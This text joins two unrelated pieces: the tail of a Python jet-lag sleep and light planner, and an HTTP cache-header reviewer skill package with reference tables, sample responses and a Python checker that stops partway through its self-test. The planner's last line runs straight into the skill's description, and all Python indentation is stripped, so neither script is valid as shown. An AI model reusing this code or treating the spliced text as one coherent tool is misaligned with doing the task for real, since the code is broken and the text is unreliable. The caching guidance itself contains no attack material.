# remaining > 0: body clock is behind local time, so it wants to sleep later (and vice versa)
b = bed + (comp if remaining > 0 else -comp) if gap else bed
cbt_local = (wake - 180) + remaining * 60
if gap < 0.5:
seek_s, avoid_s = "daylight as usual", "-"
else:
seek_s, avoid_s = light_windows(cbt_local, sign, b, sleep_len)
if remaining > 0:
status = f"{gap:g} h behind local time"
elif remaining < 0:
status = f"{gap:g} h ahead of local time"
else:
status = "adjusted"
days.append({"day": d, "date": str(arr.date() + dt.timedelta(days=d)), "body_clock": status,
"sleep": f"{hm(b)}-{hm(b + sleep_len)}", "seek_light": seek_s, "avoid_light": avoid_s,
"caffeine_until": hm(b - 480), "naps_end_by": hm(b - 420)})
if gap == 0 or d + 1 >= stay:
break
body = body + sign * min(rate, gap)
d += 1
flight_h = (arr.astimezone(dt.timezone.utc) - dep.astimezone(dt.timezone.utc)).total_seconds() / 3600
nights = night_overlap(dep.astimezone(dt.timezone.utc), arr.astimezone(dt.timezone.utc), ttz)
nights = [(a, b) for a, b in nights if (b - a).total_seconds() >= 3600]
if nights:
inflight = "sleep during destination night: " + "; ".join(f"{a:%a %H:%M}-{b:%H:%M}" for a, b in nights)
else:
inflight = "flight is during destination daytime: stay awake, get daylight/screen light, at most a 20-minute nap"
res = {"from_tz": str(trip["from_tz"]), "to_tz": str(trip["to_tz"]), "shift_h": shift, "plan_move_h": move,
"direction": direction, "rate_h_per_day": rate, "pre_trip_shift_h": pre_used,
"days_to_adjust_after_arrival": days_needed, "flight_h": round(flight_h, 2),
"arrive_local": arr.strftime("%Y-%m-%d %H:%M"), "in_flight": inflight, "flags": flags,
"pre_trip": pre_days, "days": days}
if trip.get("return_trip"):
back, brate, bdir = choose_direction(-shift)
res["return"] = {"shift_h": -shift, "direction": bdir,
"days_to_adjust": math.ceil(abs(back) / brate) if back else 0}
return res
def to_markdown(r):
out = [f"# Jet lag plan: {r['from_tz']} -> {r['to_tz']}", "",
f"- Time difference: {r['shift_h']:+g} h ({'east' if r['shift_h'] > 0 else 'west' if r['shift_h'] < 0 else 'none'}); "
f"plan: {r['direction']} {abs(r['plan_move_h']):g} h at about {r['rate_h_per_day']:g} h/day",
f"- Pre-trip shift: {r['pre_trip_shift_h']} h; about {r['days_to_adjust_after_arrival']} day(s) to adjust after arrival",
f"- Flight: {r['flight_h']:g} h, arriving {r['arrive_local']} local; {r['in_flight']}"]
if "return" in r:
out.append(f"- Return trip: {r['return']['shift_h']:+g} h, {r['return']['direction']}, about {r['return']['days_to_adjust']} day(s) to readjust")
for f in r["flags"]:
out.append(f"- **{f.split(':')[0]}**:{f.split(':', 1)[1]}")
if r["pre_trip"]:
out += ["", "## Before you fly (home time)", "| Day | Date | Sleep | Seek bright light | Avoid bright light |", "|---|---|---|---|---|"]
for p in r["pre_trip"]:
out.append(f"| {p['day']} | {p['date']} | {p['sleep']} | {p['seek_light']} | {p['avoid_light']} |")
out += ["", "## At the destination (local time)",
"| Day | Date | Body clock | Sleep | Seek bright light | Avoid bright light | Caffeine until | Naps end by |",
"|---|---|---|---|---|---|---|---|"]
for d in r["days"]:
out.append(f"| {d['day']} | {d['date']} | {d['body_clock']} | {d['sleep']} | {d['seek_light']} | {d['avoid_light']} | {d['caffeine_until']} | {d['naps_end_by']} |")
out += ["", "Light windows that fall inside your sleep time can be skipped; use sunglasses outdoors during 'avoid' windows.",
"Rules of thumb only. Ask a doctor or pharmacist before using melatonin or sleep medication."]
return "\n".join(out)
def self_test():
cases = []
def ok(name, cond):
cases.append((name, bool(cond)))
base = {"from_tz": "Europe/Istanbul", "to_tz": "America/Los_Angeles", "depart": "2026-11-03T13:40",
"arrive": "2026-11-03T17:25", "bedtime": "23:30", "wake": "07:30", "pre_trip_days": 2, "stay_days": 10}
ok("fixed offset parse", parse_tz("UTC+3").utcoffset(None) == dt.timedelta(hours=3) and parse_tz("+05:30").utcoffset(None) == dt.timedelta(hours=5, minutes=30))
ok("negative offset parse", parse_tz("-8").utcoffset(None) == dt.timedelta(hours=-8))
r = plan(base)
ok("IST->LA after US DST ends is -11 h", r["shift_h"] == -11)
ok("westward plan delays", r["direction"] == "delay" and r["plan_move_h"] == -11)
ok("pre-trip 2 h used", r["pre_trip_shift_h"] == 2 and len(r["pre_trip"]) == 2)
ok("days to adjust ceil(9/1.5)=6", r["days_to_adjust_after_arrival"] == 6)
ok("pre-trip bedtime later for westward", r["pre_trip"][0]["sleep"].startswith("00:30") and r["pre_trip"][1]["sleep"].startswith("01:30"))
ok("day 0 body 9 h ahead", r["days"][0]["body_clock"] == "9 h ahead of local time")
ok("day 0 compromise bedtime 21:30", r["days"][0]["sleep"] == "21:30-05:30")
ok("delay: seek light before CBTmin", r["days"][0]["seek_light"] == "16:30-19:30")
ok("delay: avoid window clipped at bedtime", r["days"][0]["avoid_light"] == "19:30-21:30")
ok("delay: seek window moved before bedtime", r["days"][3]["seek_light"] == "18:30-21:30" and r["days"][3]["avoid_light"] == "asleep")
ok("pre-trip delay light in the evening", r["pre_trip"][0]["seek_light"] == "21:30-00:30")
ok("overlap on circle", overlap(1380, 1500, 0, 60) == 60 and overlap(600, 700, 0, 60) == 0)
ok("plan ends adjusted", r["days"][-1]["body_clock"] == "adjusted" and r["days"][-1]["sleep"] == "23:30-07:30")
ok("plan length 7 days (0..6)", len(r["days"]) == 7)
ok("flight of 14.75 h", r["flight_h"] == 14.75)
r2 = plan(dict(base, to_tz="America/Los_Angeles", depart="2026-10-20T13:40", arrive="2026-10-20T16:25"))
ok("IST->LA during US DST is -10 h", r2["shift_h"] == -10)
r3 = plan(dict(base, to_tz="Asia/Tokyo", depart="2026-11-10T01:30", arrive="2026-11-10T19:05", pre_trip_days=3))
ok("IST->Tokyo +6 advance", r3["shift_h"] == 6 and r3["direction"] == "advance" and r3["days_to_adjust_after_arrival"] == 3)
ok("advance: seek light moved to after wake", r3["days"][0]["seek_light"] == "09:00-12:00" and r3["days"][0]["avoid_light"] == "asleep")
ok("pre-trip bedtime earlier for eastward", r3["pre_trip"][0]["sleep"].startswith("22:30"))
ok("+11 east goes long way round", choose_direction(11) == (-13, DELAY_RATE, "delay (long way round)"))
ok("+9 east stays advance", choose_direction(9)[2] == "advance")
ok("-12 normalized to +12 then delay -12", choose_direction(12)[0] == -12)
r4 = plan(dict(base, to_tz="Europe/Berlin", depart="2026-11-03T08:00", arrive="2026-11-03T09:00", stay_days=2))
ok("small shift flag", any(f.startswith("SMALL_SHIFT") for f in r4["flags"]))
r5 = plan(dict(base, stay_days=2))
ok("short trip flag", any(f.startswith("SHORT_TRIP") for f in r5["flags"]) and len(r5["days"]) == 2)
ok("in-flight sleep in LA night 02:40-07:00", r["in_flight"].endswith("Tue 02:40-07:00"))
ok("Tokyo daytime flight: stay awake", "destination daytime" in r3["in_flight"])
ok("caffeine 8 h before bed", r["days"][-1]["caffeine_until"] == "15:30" and r["days"][-1]["naps_end_by"] == "16:30")
for bad, label in ((dict(base, to_tz="Mars/Olympus"), "unknown tz rejected"), (dict(base, bedtime="25:00"), "bad bedtime rejected"),
(dict(base, arrive="2026-11-02T10:00"), "arrival before departure rejected"), (dict(base, pre_trip_days=9), "pre-trip >4 rejected")):
try:
plan(bad)
ok(label, False)
except TripError:
ok(label, True)
ok("hm wraps midnight", hm(-30) == "23:30" and hm(1500) == "01:00")
passed = sum(c for _, c in cases)
for name, c in cases:
print(("PASS " if c else "FAIL ") + name)
print(f"{passed}/{len(cases)} passed")
return 0 if passed == len(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Plan sleep and light timing to beat jet lag.")
ap.add_argument("file", nargs="?", help="trip JSON")
ap.add_argument("--from", dest="from_tz")
ap.add_argument("--to", dest="to_tz")
ap.add_argument("--depart")
ap.add_argument("--arrive")
ap.add_argument("--bedtime")
ap.add_argument("--wake")
ap.add_argument("--pre-days", type=int, dest="pre_trip_days")
ap.add_argument("--stay", type=int, dest="stay_days")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
try:
trip = json.load(open(a.file, encoding="utf-8")) if a.file else {}
for k in ("from_tz", "to_tz", "depart", "arrive", "bedtime", "wake", "pre_trip_days", "stay_days"):
if getattr(a, k) is not None:
trip[k] = getattr(a, k)
r = plan(trip)
except (OSError, TripError, ValueError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2) if a.json else to_markdown(r))
return 0
if __name__ == "__main__":
sys.exit(main())Reviews HTTP caching headers (Cache-Control, Expires, ETag, Last-Modified, Vary, Set-Cookie) for pages, assets, APIs. Computes browser and CDN freshness, flags cookie or personal responses a CDN may share, HTML cached too long, hashed assets cached too briefly, immutable on changing URLs, Vary fragmentation, missing validators, heuristic caching and cached errors. Suggests a header per resource. Includes a stdlib Python checker with --self-test.
---
name: http-cache-header-reviewer
description: Reviews HTTP caching headers (Cache-Control, Expires, ETag, Last-Modified, Vary, Set-Cookie) for pages, assets, APIs. Computes browser and CDN freshness, flags cookie or personal responses a CDN may share, HTML cached too long, hashed assets cached too briefly, immutable on changing URLs, Vary fragmentation, missing validators, heuristic caching and cached errors. Suggests a header per resource. Includes a stdlib Python checker with --self-test.
---
# HTTP Cache Header Reviewer
You help web developers get caching right: fast repeat visits and low CDN bills without stale pages after a deploy or, worse, one user's data served to another. You collect real response headers, explain what each cache will actually do with them, and propose a header per resource type with a short fix list.
## Files in this skill
- `scripts/cache_audit.py` - reads response blocks (curl -sI or DevTools output) and prints resource kind, browser and CDN TTL, revalidation, flags and suggested Cache-Control (Python 3 standard library only)
- `references/cache-control-directives.md` - every directive, freshness and heuristic rules, validators, Vary, cacheable status codes
- `references/caching-strategy-playbook.md` - recommended headers per resource, deploy safety, CDN notes, how to collect and verify headers
- `templates/cache-review-report.md` - report with current vs recommended headers and a fix list
- `examples/shop-responses.txt` - eight responses from a sample shop with common mistakes
## Workflow
### 1. Collect headers
Ask for a list of representative URLs: the home page, a logged-in page, a hashed JS/CSS file, an unhashed script, an image, a font, a public API call, a personal API call, an error response. Capture with `curl -sI <url>` (add `-H 'Cookie: ...'` or `-H 'Authorization: ...'` for logged-in requests, never paste real tokens into the report) or DevTools. Put each in the block format of `examples/shop-responses.txt`: a `### METHOD URL` line, optional `> Request-Header: value` lines, the status line, then the response headers.
### 2. Run the checker
```
python3 scripts/cache_audit.py examples/shop-responses.txt
python3 scripts/cache_audit.py headers.txt --json > cache-report.json
python3 scripts/cache_audit.py --self-test
```
Exit code 1 means high-severity findings, 2 means the input could not be parsed.
### 3. Explain the findings
Order: privacy first (AUTH_SHARED_CACHE, PUBLIC_WITH_COOKIE, PERSONAL_NOT_PRIVATE), then correctness after deploys (HTML_LONG_TTL, IMMUTABLE_UNHASHED, ERROR_CACHED), then performance (HASHED_SHORT_TTL, ASSET_NO_CACHING, VARY_FRAGMENTS, NO_VALIDATOR, HEURISTIC_ONLY) and hygiene (INVALID_DIRECTIVE, NO_STORE_CONFLICT, EXPIRES_ONLY, PRAGMA_ONLY). Use `references/cache-control-directives.md` to explain why.
### 4. Recommend headers
Use `references/caching-strategy-playbook.md`. Give the exact header per resource and where to set it in the user's stack (Nginx `add_header`, Express `res.set`, Next.js `headers()`, S3/CloudFront metadata, Cloudflare rules). Mention the deploy rule: hashed assets for a year, HTML revalidates.
### 5. Verify and report
Fill `templates/cache-review-report.md`. After changes, collect headers again and re-run the checker; check CDN HIT/MISS headers.
## Example result
For `examples/shop-responses.txt`: 5 high findings (home page HTML cached 1 day, widget.js immutable without a hash, the cart API with a session cookie cached by the CDN for 2 minutes, the login page with Set-Cookie marked public and cached 10 minutes), 4 medium (app.3f9a1c7b.js cached only 1 hour, hero.jpg on an 8.1-day heuristic, Vary: Cookie, a 503 cached for 1 hour) and 1 low (cart API has no validator); only vendor.81d2e0aa.css is already ideal.
## Rules
- Treat any chance of a shared cache storing personal data as the top issue.
- Do not ask for or keep real cookies or tokens; placeholders are enough.
- Recommend purges or URL versioning when changing TTLs that are already live.
- Say when behavior depends on the CDN's configuration and suggest checking it.
FILE:references/cache-control-directives.md
# Cache-Control Directives and Freshness Rules
## Response directives
| Directive | Meaning |
|---|---|
| max-age=N | Fresh for N seconds in any cache (browser and shared) |
| s-maxage=N | Overrides max-age for shared caches (CDN, proxy) only |
| no-cache | May be stored, but must be revalidated with the origin before every use |
| no-store | Must not be stored anywhere; overrides everything else |
| private | Only the browser may store it; CDNs and proxies must not |
| public | Shared caches may store it even if it would normally not be cacheable (for example with Authorization) |
| must-revalidate | Once stale, must not be served without a successful revalidation |
| proxy-revalidate | Same as must-revalidate, for shared caches only |
| immutable | Will never change while fresh; browsers skip revalidation on reload |
| stale-while-revalidate=N | May serve stale for N seconds while refreshing in the background |
| stale-if-error=N | May serve stale for N seconds if the origin returns 5xx or is unreachable |
| no-transform | Intermediaries must not modify the body (recompress images, etc.) |
Common mistakes: `no-cache` does NOT mean "do not cache" (that is `no-store`); `max-age` values must be whole seconds (`max-age=10m` is invalid and ignored); `Pragma: no-cache` only works on requests.
## Freshness lifetime (RFC 9111)
1. Shared cache: s-maxage, else max-age, else Expires - Date.
2. Browser: max-age, else Expires - Date.
3. Neither present and Last-Modified present: caches may use a heuristic, usually 10% of (Date - Last-Modified). A file last changed 80 days ago may be reused for 8 days with no check.
4. `private` sets the shared lifetime to 0. `no-store` sets both to 0.
## Validators and revalidation
- ETag (strong `"abc"` or weak `W/"abc"`) -> client sends If-None-Match.
- Last-Modified -> client sends If-Modified-Since.
- A match returns `304 Not Modified` with no body, which is cheap. Without a validator, every revalidation downloads the whole body.
## Vary
- `Vary: Accept-Encoding` is normal and safe.
- `Vary: Cookie`, `User-Agent` or `Referer` creates one cache entry per distinct value, which usually means no CDN hits.
- `Vary: *` means the response can never be reused.
## Status codes
Cacheable by default when fresh: 200, 203, 204, 206, 300, 301, 308, 404, 405, 410, 414, 501. Error responses (4xx/5xx) should have short or no caching, or a CDN may serve an outage page for hours. Use `stale-if-error` to serve the last good copy instead.
FILE:references/caching-strategy-playbook.md
# Caching Strategy Playbook
## Recommended headers by resource
| Resource | Cache-Control | Notes |
|---|---|---|
| HTML pages, app shell | `no-cache` + ETag | Always fresh after deploys; 304s keep it cheap |
| Marketing HTML on a CDN | `public, max-age=0, s-maxage=300, stale-while-revalidate=60` | Purge the CDN on publish |
| JS/CSS with a content hash (`app.3f9a1c7b.js`) | `public, max-age=31536000, immutable` | New build = new URL |
| JS/CSS without a hash | `public, max-age=300, stale-while-revalidate=86400` | Or add hashing to the build |
| Images, user uploads with stable URLs | `public, max-age=86400, stale-while-revalidate=604800` | Version the URL when the image changes |
| Fonts (versioned URL) | `public, max-age=31536000, immutable` | Also send CORS headers |
| Public API data (prices, catalog) | `public, max-age=30, s-maxage=300, stale-if-error=600` | Keep TTLs short; purge on change |
| Personal API data (cart, profile) | `private, no-cache` + ETag | Never public |
| Secrets, banking, health records, one-time tokens | `no-store` | Also on the logout and account pages |
| Redirect 301 | `max-age=86400` at first | Browsers can cache a bare 301 forever |
| Errors 5xx | `no-store` or `max-age=0`, use stale-if-error on the good responses | |
## Deploy safety
1. Hash every built asset name, then cache it for a year.
2. Make HTML revalidate so it always points at the current hashes.
3. Keep old hashed assets online for at least one release so open tabs still work.
4. Never put `immutable` on a URL whose content can change.
## CDN notes
- Most CDNs ignore `private`/`no-store` only if misconfigured; check "respect origin headers".
- Many CDNs do not cache responses with Set-Cookie by default; some do if `public` is set. Strip Set-Cookie from static responses.
- Use a `Surrogate-Control` or CDN-Cache-Control header if the CDN supports it and you want a CDN TTL different from the browser TTL.
- Normalize the cache key (ignore tracking query strings like utm_*).
## How to collect headers
```
curl -sI https://example.com/ ; curl -sI -H 'Cookie: session=...' https://example.com/api/me
curl -s -o /dev/null -D - https://example.com/assets/app.js # GET instead of HEAD
```
Some servers answer HEAD differently from GET; when in doubt use the GET form. In Chrome DevTools: Network tab, select a request, Headers, Response Headers (copy as text).
## Checking the result
- Reload twice in DevTools: hashed assets should show "(memory cache)" or "(disk cache)", HTML should show 304 or 200.
- CDN: look at its `Age`, `X-Cache` or `CF-Cache-Status` header (HIT / MISS / BYPASS).
FILE:templates/cache-review-report.md
# HTTP Cache Review - <site / service> - <date>
**Scope:** <URLs or HAR file> **CDN:** <name or none> **Collected with:** <curl -sI / DevTools / HAR>
## Summary
- Responses reviewed: <n> High: <n> Medium: <n> Low: <n>
- Biggest risk: <for example personal API cached on the CDN>
- Biggest win: <for example year-long caching for hashed assets>
## Current vs recommended
| Resource | Kind | Current Cache-Control | Browser / CDN TTL | Flags | Recommended |
|---|---|---|---|---|---|
| | | | | | |
## Fix list
| Priority | Change | Where (server, framework, CDN rule) | Owner | Done |
|---|---|---|---|---|
| 1 | | | | [ ] |
## Verification
- [ ] Re-run `python3 scripts/cache_audit.py` on fresh headers: no high findings
- [ ] CDN shows HIT for static files, BYPASS/MISS for personal API
- [ ] Deploy test: new HTML loads new assets without a hard refresh
FILE:examples/shop-responses.txt
# Responses captured with: curl -sI <url> (request headers sent are listed with "> ")
### GET https://shop.example/
HTTP/2 200
content-type: text/html; charset=utf-8
cache-control: public, max-age=86400
date: Wed, 21 Oct 2026 07:00:00 GMT
### GET https://shop.example/assets/app.3f9a1c7b.js
HTTP/2 200
content-type: application/javascript
cache-control: public, max-age=3600
etag: "3f9a1c7b"
### GET https://shop.example/assets/vendor.81d2e0aa.css
HTTP/2 200
content-type: text/css
cache-control: public, max-age=31536000, immutable
etag: "81d2e0aa"
### GET https://shop.example/js/widget.js
HTTP/2 200
content-type: application/javascript
cache-control: public, max-age=31536000, immutable
### GET https://shop.example/img/hero.jpg
HTTP/2 200
content-type: image/jpeg
date: Wed, 21 Oct 2026 07:00:00 GMT
last-modified: Sat, 01 Aug 2026 07:00:00 GMT
### GET https://shop.example/api/cart
> Cookie: session=abc123
HTTP/2 200
content-type: application/json
cache-control: public, s-maxage=120
vary: Cookie
### POST https://shop.example/login
HTTP/2 200
content-type: text/html; charset=utf-8
cache-control: public, max-age=600
set-cookie: session=xyz789; HttpOnly; Secure; SameSite=Lax
### GET https://shop.example/api/products?page=1
HTTP/2 503
content-type: application/json
cache-control: public, max-age=3600
FILE:scripts/cache_audit.py
#!/usr/bin/env python3
"""HTTP caching header reviewer (Python 3 standard library only).
Input: a text file with one block per response, as copied from `curl -sI`, browser
devtools or a HAR export:
### GET https://shop.example/assets/app.3f9a1c7b.js
> Authorization: Bearer ... (optional request headers start with "> ")
HTTP/2 200
content-type: application/javascript
cache-control: public, max-age=31536000, immutable
etag: "3f9a1c7b"
Blank lines and lines starting with "#" (but not "###") are ignored.
For each response it works out the kind (html, hashed-asset, asset, api, image, font, other),
browser and shared-cache (CDN) freshness in seconds (s-maxage > max-age > Expires - Date >
10% heuristic from Last-Modified), whether it can be revalidated, and flags:
NO_STORE_CONFLICT, PUBLIC_WITH_COOKIE, AUTH_SHARED_CACHE, PERSONAL_NOT_PRIVATE, VARY_STAR,
VARY_FRAGMENTS, HTML_LONG_TTL, HASHED_SHORT_TTL, IMMUTABLE_UNHASHED, ASSET_NO_CACHING,
NO_VALIDATOR, HEURISTIC_ONLY, EXPIRES_ONLY, PRAGMA_ONLY, ERROR_CACHED, INVALID_DIRECTIVE.
It suggests a Cache-Control value per kind.
Usage:
python3 cache_audit.py responses.txt
python3 cache_audit.py responses.txt --json
python3 cache_audit.py --self-test
Exit code: 0 OK, 1 high-severity flags found, 2 bad input.
"""
import argparse
import email.utils
import json
import re
import sys
KNOWN = {"max-age", "s-maxage", "no-cache", "no-store", "no-transform", "must-revalidate",
"proxy-revalidate", "must-understand", "private", "public", "immutable",
"stale-while-revalidate", "stale-if-error"}
NEEDS_INT = {"max-age", "s-maxage", "stale-while-revalidate", "stale-if-error"}
HASH_RE = re.compile(r"[.\-_]([0-9a-f]{8,}|[0-9A-Za-z_-]{8,}(?=\.[a-z0-9]+$))\.[a-z0-9]+$")
SEVERITY = {"NO_STORE_CONFLICT": "low", "PUBLIC_WITH_COOKIE": "high", "AUTH_SHARED_CACHE": "high",
"PERSONAL_NOT_PRIVATE": "medium", "VARY_STAR": "medium", "VARY_FRAGMENTS": "medium",
"HTML_LONG_TTL": "high", "HASHED_SHORT_TTL": "medium", "IMMUTABLE_UNHASHED": "high",
"ASSET_NO_CACHING": "medium", "NO_VALIDATOR": "low", "HEURISTIC_ONLY": "medium",
"EXPIRES_ONLY": "low", "PRAGMA_ONLY": "low", "ERROR_CACHED": "medium",
"INVALID_DIRECTIVE": "medium"}
RECOMMEND = {
"html": "no-cache (plus ETag or Last-Modified), or max-age=0, must-revalidate",
"hashed-asset": "public, max-age=31536000, immutable",
"asset": "public, max-age=3600, stale-while-revalidate=86400 (or add a content hash to the file name)",
"image": "public, max-age=86400, stale-while-revalidate=604800",
"font": "public, max-age=31536000, immutable (if the URL is versioned)",
"api": "private, no-cache for user data; public, max-age=60, s-maxage=300 only for truly public data",
"personal": "private, no-cache (or no-store for sensitive data)",
"other": "set an explicit Cache-Control",
}
class CacheError(ValueError):
pass
def parse_cc(value):
"""Return (directives dict, problems list)."""
d, problems = {}, []
for part in [p.strip() for p in value.split(",") if p.strip()]:
k, eq, v = part.partition("=")
k = k.strip().lower()
v = v.strip().strip('"')
if k not in KNOWN:
problems.append(f"unknown directive {k!r}")
continue
if k in NEEDS_INT:
if not re.fullmatch(r"\d+", v or ""):
problems.append(f"{k} needs a whole number of seconds, got {v!r}")
continue
d[k] = int(v)
else:
d[k] = True if not eq else v
return d, problems
def parse_blocks(text):
blocks, cur = [], None
for raw in text.splitlines():
line = raw.rstrip("\r")
if line.startswith("###"):
cur = {"label": line[3:].strip(), "status": None, "headers": {}, "request": {}}
blocks.append(cur)
continue
if not line.strip() or line.lstrip().startswith("#"):
continue
if cur is None:
raise CacheError("file must start with a '### METHOD URL' line")
if line.startswith(">"):
k, _, v = line[1:].strip().partition(":")
cur["request"][k.strip().lower()] = v.strip()
continue
m = re.match(r"HTTP/[\d.]+\s+(\d{3})", line)
if m:
cur["status"] = int(m.group(1))
continue
k, colon, v = line.partition(":")
if not colon:
raise CacheError(f"cannot parse header line {line!r} in block {cur['label']!r}")
k = k.strip().lower()
if k in cur["headers"] and k in ("cache-control", "vary"):
cur["headers"][k] += ", " + v.strip()
elif k == "set-cookie":
cur["headers"].setdefault(k, []).append(v.strip())
else:
cur["headers"][k] = v.strip()
if not blocks:
raise CacheError("no response blocks found")
return blocks
def url_of(label):
parts = label.split()
return parts[-1] if parts else ""
def kind_of(url, ctype):
path = re.sub(r"[?#].*$", "", url)
name = path.rsplit("/", 1)[-1].lower()
ctype = ctype.lower()
hashed = bool(HASH_RE.search(name)) and bool(re.search(r"\d", name))
if "text/html" in ctype or name.endswith(".html") or (not ctype and "." not in name):
return "html", False
if "json" in ctype or "/api/" in path or "graphql" in path:
return "api", False
if name.endswith((".woff2", ".woff", ".ttf", ".otf")) or "font" in ctype:
return "font", hashed
if ctype.startswith("image/") or name.endswith((".png", ".jpg", ".jpeg", ".gif", ".webp", ".avif", ".svg", ".ico")):
return ("hashed-asset" if hashed else "image"), hashed
if name.endswith((".js", ".mjs", ".css", ".map", ".wasm")) or "javascript" in ctype or "text/css" in ctype:
return ("hashed-asset" if hashed else "asset"), hashed
return "other", hashed
def http_date(v):
try:
return email.utils.parsedate_to_datetime(v)
except (TypeError, ValueError, IndexError):
return None
def review(block):
h, req = block["headers"], block["request"]
status = block["status"] or 200
url = url_of(block["label"])
kind, hashed = kind_of(url, h.get("content-type", ""))
cc, problems = parse_cc(h.get("cache-control", ""))
flags = []
def flag(code, detail):
flags.append({"code": code, "severity": SEVERITY[code], "detail": detail})
for p in problems:
flag("INVALID_DIRECTIVE", p)
cookies = h.get("set-cookie", [])
auth = "authorization" in req or "cookie" in req
date, expires, lastmod = http_date(h.get("date")), h.get("expires"), http_date(h.get("last-modified"))
no_store = "no-store" in cc
heuristic = False
if no_store:
browser = shared = 0
else:
browser = cc.get("max-age")
if browser is None and expires is not None:
ex = http_date(expires)
browser = max(0, int((ex - date).total_seconds())) if ex and date else 0
if browser is None and "no-cache" not in cc and lastmod and date and status in (200, 203, 204, 206, 300, 301, 404, 405, 410, 414, 501):
browser = max(0, int((date - lastmod).total_seconds() / 10))
heuristic = True
browser = browser or 0
shared = 0 if "private" in cc else cc.get("s-maxage", browser)
if "no-cache" in cc:
browser_eff, shared_eff = 0, 0
else:
browser_eff, shared_eff = browser, shared
validator = "etag" in h or "last-modified" in h
personal = bool(cookies) or auth
if no_store and any(k in cc for k in ("max-age", "s-maxage", "public", "immutable")):
flag("NO_STORE_CONFLICT", "no-store overrides the other directives; remove the extras so intent is clear")
if cookies and ("public" in cc or "s-maxage" in cc) and not no_store:
flag("PUBLIC_WITH_COOKIE", "response sets a cookie but allows shared caches; a CDN may serve one user's cookie to others")
if auth and shared > 0 and ("public" in cc or "s-maxage" in cc) and kind in ("api", "html", "other"):
flag("AUTH_SHARED_CACHE", "authenticated request with a response that shared caches may store; personal data can leak across users")
elif personal and kind in ("api", "html", "other") and not no_store and "private" not in cc \
and not any(f["code"] == "PUBLIC_WITH_COOKIE" for f in flags):
flag("PERSONAL_NOT_PRIVATE", "personalized response without private or no-store")
vary = [v.strip().lower() for v in h.get("vary", "").split(",") if v.strip()]
if "*" in vary:
flag("VARY_STAR", "Vary: * makes the response effectively uncacheable")
frag = [v for v in vary if v in ("user-agent", "cookie", "referer")]
if frag and shared > 0:
flag("VARY_FRAGMENTS", f"Vary on {', '.join(frag)} splits the CDN cache into many copies; vary on a normalized header instead")
if kind == "html" and browser_eff > 300:
flag("HTML_LONG_TTL", f"HTML cached {fmt_s(browser_eff)} without revalidation; users keep old pages that point to deleted assets after a deploy")
if kind == "hashed-asset" and browser_eff < 30 * 86400 and not no_store:
flag("HASHED_SHORT_TTL", f"content-hashed file cached only {fmt_s(browser_eff)}; it can be cached for a year with immutable")
if "immutable" in cc and not hashed:
flag("IMMUTABLE_UNHASHED", "immutable on a URL without a content hash; browsers will not pick up changes until max-age expires")
if kind in ("asset", "image", "font") and (no_store or "no-cache" in cc) and not personal:
flag("ASSET_NO_CACHING", "static file is never reused from cache; every page view downloads or revalidates it")
if ("no-cache" in cc or browser_eff == 0) and not no_store and not validator and status == 200:
flag("NO_VALIDATOR", "must revalidate but has no ETag or Last-Modified, so every check downloads the full body")
if heuristic:
flag("HEURISTIC_ONLY", f"no Cache-Control or Expires; caches guess {fmt_s(browser)} from Last-Modified")
if "cache-control" not in h and expires is not None:
flag("EXPIRES_ONLY", "only the legacy Expires header; add Cache-Control max-age")
if "cache-control" not in h and "pragma" in h:
flag("PRAGMA_ONLY", "Pragma: no-cache is a request header and has no effect on responses; use Cache-Control")
if status >= 400 and max(browser_eff, shared_eff) > 300:
flag("ERROR_CACHED", f"status {status} cached for {fmt_s(max(browser_eff, shared_eff))}; a brief error becomes a long outage")
rec_kind = "personal" if personal and kind in ("api", "html", "other") else kind
return {"label": block["label"], "status": status, "kind": kind, "hashed": hashed,
"cache_control": h.get("cache-control"), "browser_ttl_s": browser_eff, "shared_ttl_s": shared_eff,
"revalidate": "no-cache" in cc or "must-revalidate" in cc, "validator": validator,
"stale_while_revalidate_s": cc.get("stale-while-revalidate"), "flags": flags,
"recommended": RECOMMEND[rec_kind]}
def fmt_s(s):
if s is None:
return "-"
for unit, n in (("d", 86400), ("h", 3600), ("m", 60)):
if s >= n:
v = s / n
return f"{v:.0f}{unit}" if v == int(v) else f"{v:.1f}{unit}"
return f"{s}s"
def audit(text):
items = [review(b) for b in parse_blocks(text)]
return {"items": items, "high_flags": sum(1 for i in items for f in i["flags"] if f["severity"] == "high")}
def to_markdown(r):
out = ["# HTTP cache header review", "",
"| Response | Status | Kind | Browser TTL | CDN TTL | Revalidate | Validator | Flags |",
"|---|---|---|---|---|---|---|---|"]
for i in r["items"]:
out.append(f"| {i['label']} | {i['status']} | {i['kind']} | {fmt_s(i['browser_ttl_s'])} | {fmt_s(i['shared_ttl_s'])} | "
f"{'yes' if i['revalidate'] else 'no'} | {'yes' if i['validator'] else 'no'} | {', '.join(f['code'] for f in i['flags']) or '-'} |")
out += ["", "## Findings"]
n = 0
for sev in ("high", "medium", "low"):
for i in r["items"]:
for f in i["flags"]:
if f["severity"] == sev:
n += 1
out.append(f"- **{sev.upper()} {f['code']}** {i['label']}: {f['detail']}")
if not n:
out.append("- No findings.")
out += ["", "## Suggested Cache-Control"]
for i in r["items"]:
if i["flags"]:
out.append(f"- {i['label']}: `{i['recommended']}` (now: `{i['cache_control'] or 'none'}`)")
return "\n".join(out)
def self_test():
cases = []
def ok(name, cond):
cases.append((name, bool(cond)))
def one(url, *lines):
return review(parse_blocks("### GET " + url + "\nHTTP/1.1 200 OK\n" + "\n".join(lines))[0])
def codes(item):
return {f["code"] for f in item["flags"]}
ok("parse max-age", parse_cc("public, max-age=600")[0] == {"public": True, "max-age": 600})
ok("bad max-age reported", parse_cc("max-age=10m")[1])
ok("unknown directive reported", parse_cc("maxage=60")[1])
ok("hashed js detected", kind_of("https://x/app.3f9a1c7b.js", "") == ("hashed-asset", True))
ok("unhashed css", kind_of("https://x/styles.css", "text/css") == ("asset", False))
ok("html by content type", kind_of("https://x/", "text/html; charset=utf-8")[0] == "html")
ok("api by json", kind_of("https://x/api/cart", "application/json")[0] == "api")
i = one("https://x/app.3f9a1c7b.js", "Cache-Control: public, max-age=31536000, immutable", "ETag: \"a\"")
ok("ideal hashed asset clean", not codes(i) and i["browser_ttl_s"] == 31536000)
i = one("https://x/app.3f9a1c7b.js", "Cache-Control: public, max-age=3600")
ok("hashed short ttl", "HASHED_SHORT_TTL" in codes(i))
i = one("https://x/main.js", "Cache-Control: public, max-age=31536000, immutable")
